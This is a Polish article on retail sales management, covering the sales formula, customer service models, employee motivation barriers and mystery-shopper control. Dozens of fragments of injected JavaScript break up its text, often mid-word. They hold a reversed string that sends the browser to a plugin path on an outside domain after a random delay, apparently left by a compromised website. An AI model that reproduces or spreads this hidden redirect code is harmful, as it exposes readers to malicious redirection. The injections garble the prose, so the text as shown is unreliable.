Handlem, i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to każdym, rządzi magiczna formuła sprzedaży. To formuła gdzie obrót = wejścia x konwersja x średnia war toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji. Najważniejsza jest jednak nie konstatacja tej formuły, ale jej wykorzystanie. Dzięki takiemu rozumieniu sprzedaży można nią zarządzać. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to każdym jej elementem, zarówno osobno, jak i łącznie. To jednak, jakiej toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego najlepiej użyć me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tody bardzo zależy od systemu obsługi klienta i wielkości sklepu.
Model samoobsługowy
Tu zadaniem pracowników jest przede wszystkim uzupełnić półki. Oczywiście, jeśli k toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś zapyta, należy być grzecznym i odpowiedzieć, ale właśnie tylko wtedy, kiedy zapyta. Z założenia bowiem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to półki mają rozmawiać z klientem, przekonywać go i uwodzić. Jak zawsze chodzi o wybór i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doradztwo, jednak tę rolę musi spełnić półka, udekorowana i urządzona wg zasad tzw. Visual Merchandising, czyli marketingu sklepowego.
Model intensywnej obsługi klienta
W modelu intensywnej obsługi rolę pólek przejmują sprzedawcy. Oczywiście nie w 100%, nadal wykorzystują układ sklepu i półki, ale tylko tak samo jak w modelu samoobsługowym półki wykorzystują sprzedawców. Czyli jako uzupełnienie podstawowego sposobu sprzedaży.
Uwaga. „czy procedura toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zarządzanie?” W warunkach rozproszonych organizacji zarządzający próbują zastąpić bezpośredni kontakt z pracownikiem procedurą. W ich warunkach wydaje się, że nie ma innego wyjścia. A jest. To zaufać. Lokalnym menedżerom. Ale także ich wesprzeć (szkoleniem), określić pole kompetencji (delegować zadania i decyzyjność) i przede wszystkim wyjaśnić, o co walczą, jakie mają narzędzia, a jakie priorytety.
Model „assisted self service”
To model gdzie sprzedawcy obsługują, ale z aktywnością czekają, aż k toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś ich poprosi. Tu trzeba optymalizować zarówno obsługę jak i merchandising, czyli znaleźć równowagę między Visual Merchandising a obsługą klienta.
Model mieszany
Rzadko jest tak, że w sklepie istnieje „czysty” model obsługi. Zawsze toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mieszanka modelu obsługowego i samoobsługowego, a o tym, jakie są tego proporcje decyduje Model Biznesowy firmy.
Uwaga. „VM czy obsługa”? Typowo większość firm walcząc o sprzedaż i określając Koncept Handlowy koncentruje się na Visual Merchandising. Z jednej strony tak jest łatwiej (produkt „nie odda”, w przeciwieństwie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do np. pracownika), ale też bardziej spektakularnie. Efekty (choć nie sprzedażowe, ale wizualne) widać od razu, można zrobić zdjęcie, przesłać szefom, pochwalić się. Sam efekt jest trwały i można go podziwiać aż go zmienimy lub się zżółknie. Z obsługą jest dużo trudniej. Na pewno działania z tego zakresu są bardzo żmudne, a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego efekty są (lub ich nie ma) tak naprawdę tylko sprzedażowe. Zaś skutki, nawet jeśli są witoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doczne, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to szybko się cofają, wystarczy spuścić z oczu.
W każdym modelu obsługi występują pracownicy
W praktyce toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pracownicy wybierają, co optymalizują. Zwykle kierują się zasadą „easy money”, będącą szczególnym przypadkiem realizacji Reguły Pare toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pod względem nakładu pracy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do osiągniętego rezultatu. Do tego kierują się własnym interesem, wcale nie zbieżnym z interesem firmy oraz działają w warunkach ograniczonego pola widzenia (nie widzą szerszej perspektywy) z racji swojego usytuowania w strukturze organizacyjnej firmy. Nie widzą jej planów, rzadko mają możliwość porównania,
Uwaga. „easy money”. Czyli pracownicy działają tak, aby im było wygodnie, o oczekiwana nagroda jak najwyższa, ale przy założonym poziomie wygody.
Tu trzeba przełamać 3 bariery, barierę wygody, barierę wiedzy oraz barierę interesu. Paratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doksalnie najtrudniej jest z wygodą, drugi w kolejności trudności jest interes, choć więcej firm koncentruje się na wiedzy.
Bariera wygody
To bariera Reguły Pare toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to 80/20. Jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bariera po stronie zarządzanych. Inaczej mówiąc jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to „bariera lenistwa”. Kluczem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do jej zrozumienia jest fakt, że 20% wysiłku pracownika da mu 80% efektu. Później już te przyrosty będą znacznie mniejsze, a wreszcie niezauważalne. Trudno więc mu się dziwić, że jego toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrowolny wysiłek zatrzyma się na 20%.
Bariera interesu
Konsekwencją bariery wygody jest bariera interesu. Interesu pracownika. Z jego bowiem punktu widzenia jest on wynagradzany formalnie za czas, ale praktycznie za wysiłek, i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na poziomie jego 20% zaangażowania. Nawet jeśli firma postanowi go zachęcić toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowego wysiłku toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowym wynagrodzeniem, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na ogół najwyżej zgodnym z jej interesem. Czyli za toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowe 20% przychodów go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa będzie zwiększyć wynagrodzenie pracownika proporcjonalnie, czyli o 20%. On zaś przecież musi zwiększyć zaangażowanie aż o 80%. Z tego punktu widzenia pracownik jest rozczarowany i nawet jeśli początkowo zainteresowany (w końcu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dostaje toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowe pieniądze), toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to szybko sobie uświatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domi, że nie kompensują mu one wzmożonego wysiłku.
Bariera wiedzy
Inaczej toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bariera „niewolnictwa”. Tu trzeba przełamać barierę po stronie zarządzających. Oni wierzą, jedna błędnie, że jeśli komuś się więcej zapłaci lub go lepiej przypilnuje, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ten k toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś będzie pracował lepiej, szybciej, wydajniej. Nie będzie, a raczej nie będzie zbyt długo. Szybko się przyzwyczai toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do nagrody i potraktuje jako coś należnego. A w systemie kontroli znajdzie słabe punkty i je wykorzysta.
Uwaga „4 poziomy parametrów”. Sprzedaż toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie jest zdarzenie amalgamiczne. Ona ma kształt i składniki. To efekt wielu zdarzeń, z których wiele widać, a na niektóre z nich można nawet światoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domie wpływać.
To mimo wszystko toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dość korzystna sytuacja wyjściowa. Po pierwsze, w organizacji istnieje światoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domość z jednej strony potencjału, a z drugiej własnych nietoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doskonałości. To bardzo korzystny punkt wyjścia i wcale nie taki częsty. Szefowie już wiedzą, co należy poprawić, choć nie wiedzą jeszcze jak. Tym bardziej nie wiedzą tego ich pracownicy.
Jeśli np. powiemy sprzedawcom „zwiększcie sprzedaż”, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zupełnie nie będą wiedzieli, jak się za toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zabrać. Na ogół poskarżą się wtedy, że przychodzi za mało klientów i albo trzeba obniżyć ceny, albo zwiększyć nakłady na marketing. Już większy sens ma polecenie „zwiększ konwersję”, ale i wtedy każdy pracownik pomyśli „co toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to znaczy, co mam zrobić inaczej niż toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tej pory? Szybciej biegać?” Żeby było zrozumiałe, polecenie „zwiększ konwersję” trzeba bowiem przełożyć na wskaźniki niższego poziomu, takie jak liczba obsłużonych klientów czy liczba rozpoczętych rozmów handlowych.
Na brak wiedzy o pracy ze wskaźnikami ze strony zarządzających nakłada się brak wiedzy o pierwszej i drugiej barierze. Szefowie starają się zmierzyć tylko z niewiedzą, w tym zaś głównie z niewiedzą swoich pracowników. W efekcie tłumaczą pracownikowi, co powinien robić, a także, jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to powinien robić. Tymczasem prawdziwa bariera jest po stronie, dlaczego miałby toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robić?
Wtedy pojawie się nowy pomysł, pomysł wzmożonej kontroli. Postrzeganie sprzedaży za pośrednictwem parametrów ma bowiem i tę zaletę, że nie tylko można toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to łatwo wytłumaczyć i pokazać, ale też pros toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to skontrolować, właśnie na poziomie i za pośrednictwem tych wskaźników.
Kontrola
Pierwszym odruchem po zetknięciu się z oporem ze strony pracowników (w wyniku działania jednej z barier, albo wszystkich na raz) jest wzmocnienie czy wręcz ustanowienie aparatu kontroli. Część firm ma już taki system wcześniej, teraz tylko powierza mu nowe zadania. Część zaś tworzy takie systemy od początku. Sprzyja temu matematyczna parametryzacja wskaźników, przez co zarządzający ulegają złudzeniu, że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już nie oni zarządzają, a system. Tymczasem pierwotny powód parametryzacji był zupełnie inny. Wprawdzie chodziło o kontrolę, ale raczej o samokontrolę, po toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby pracownik wiedział toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dokładnie co ma robić i miał światoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domość, czy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to co robi, przynosi efekt. Tak rozumiana parametryzacja ma głęboki sens, podczas gdy wykorzystana toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zewnętrznej kontroli traci zupełnie z oczu podstawowe założenie, że pracownicy będą zarządzani. Tymczasem są kontrolowani, a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to samo.
Uwaga. „tajemniczy klient”. To częs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to spotykany sposób kontroli pracowników, szeroko wykorzystywany w różnych celach, niekoniecznie związanych ze światoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domym wykorzystaniem magicznej formuły. Ale jego wykorzystanie po rozpoczęciu projektu sterowania sprzedażą wręcz się narzuca.
Sam system polega na wybiórczym sprawdzeniu w sklepach, za pomocą wynajętych kontrolerów, czy pracownik wykonuje swoje zadania zgodnie z zaleceniami. Kontrola z założenia jest wybiórcza, powierzchowna i skupia się tylko na efektach, całkowicie pomijając przyczyny. Ale nawet efekty trudno zmierzyć w ten sposób. W końcu obsługa klienta jest ze swej is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toty statystyczna, więc zdarzenia jednostkowe z trudem odpowiedzą na pytanie, jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest „średnio”. A właśnie średnio ma się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to polepszyć.
W małych placówkach jest inaczej
Małe placówki sprzedażowe toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to albo placówki niezależne, albo wprawdzie sieciowe, ale rozproszone geograficznie. A toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ich rozproszenie stwarza zarządzaniu bardzo poważne problemy. Nauka o zarządzaniu powstała albo w fabryce, albo w biurze. Tam gdzie pracownicy są pod ręką, można ich motywować, rozliczać, znów motywować, przewodzić im, delegować zarządzanie.
Dodatkowo duże organizacje stać na drogich profesjonalnych menedżerów, mogą im odpowiednio zapłacić, zmotywować, mają czas ich wychować, a także zapewnić bardzo pożądaną przez takie osoby ścieżkę kariery. W małych toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dominują tani menedżerowie z małym toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doświadczeniem, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego zdani na siebie, przez oddalenie od Centrali. A ich pracownicy także mało czują się związani z firmą, choćby właśnie przez toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oddalenie.
Uwaga. „szansa jest tylko raz”. A przynajmniej bardzo rzadko. W małych sklepach szkolenie odbywa się tylko raz, wizyta kontrolna też raczej tylko raz w miesiącu. Poza tym pracownicy są zdani sami na siebie. Zaś skomplikowane zadania nie wystarczy raz pokazac, a potem sprawdzać tylko okazjonalnie.
Rozwiązanie
Czy istnieje jakieś rozwiązanie, jak sprawnie i skutecznie zarządzić magiczną formułą sprzedaży, jeśli firma zdecyduje się na jej wykorzystanie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do sterowania sprzedażą? Jak najbardziej.
Po pierwsze trzeba zdać sobie sprawę ze wszystkich trzech barier. I po kolei je albo usuwać, albo przełamywać. Można zacząć od końca, czyli od bariery wiedzy. Trzeba nauczyć sprzedawców, jak działać na III-cim i IV-tym poziomie wskaźników magicznej formuły. Zaraz potem, a może równolegle, nauczyć słabo opłacanych menedżerów liniowych w rozproszonych placówkach, jak radzić sobie z zarządzaniem (jeśli firma jest zwarta lub ma duże jednostki, może ten punkt pominąć).
Trudniej będzie poradzić sobie z barierą numer 1 i 2, czyli z wygodą i lenistwem. Możliwe są tu dwa rozwiązania. Po pierwsze można pracownikom zapłacić nieproporcjonalnie dużo. Więcej, niż wynika toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ze wzrostu obrotu, choć nadal mniej, niż zyskuje na tym firma.
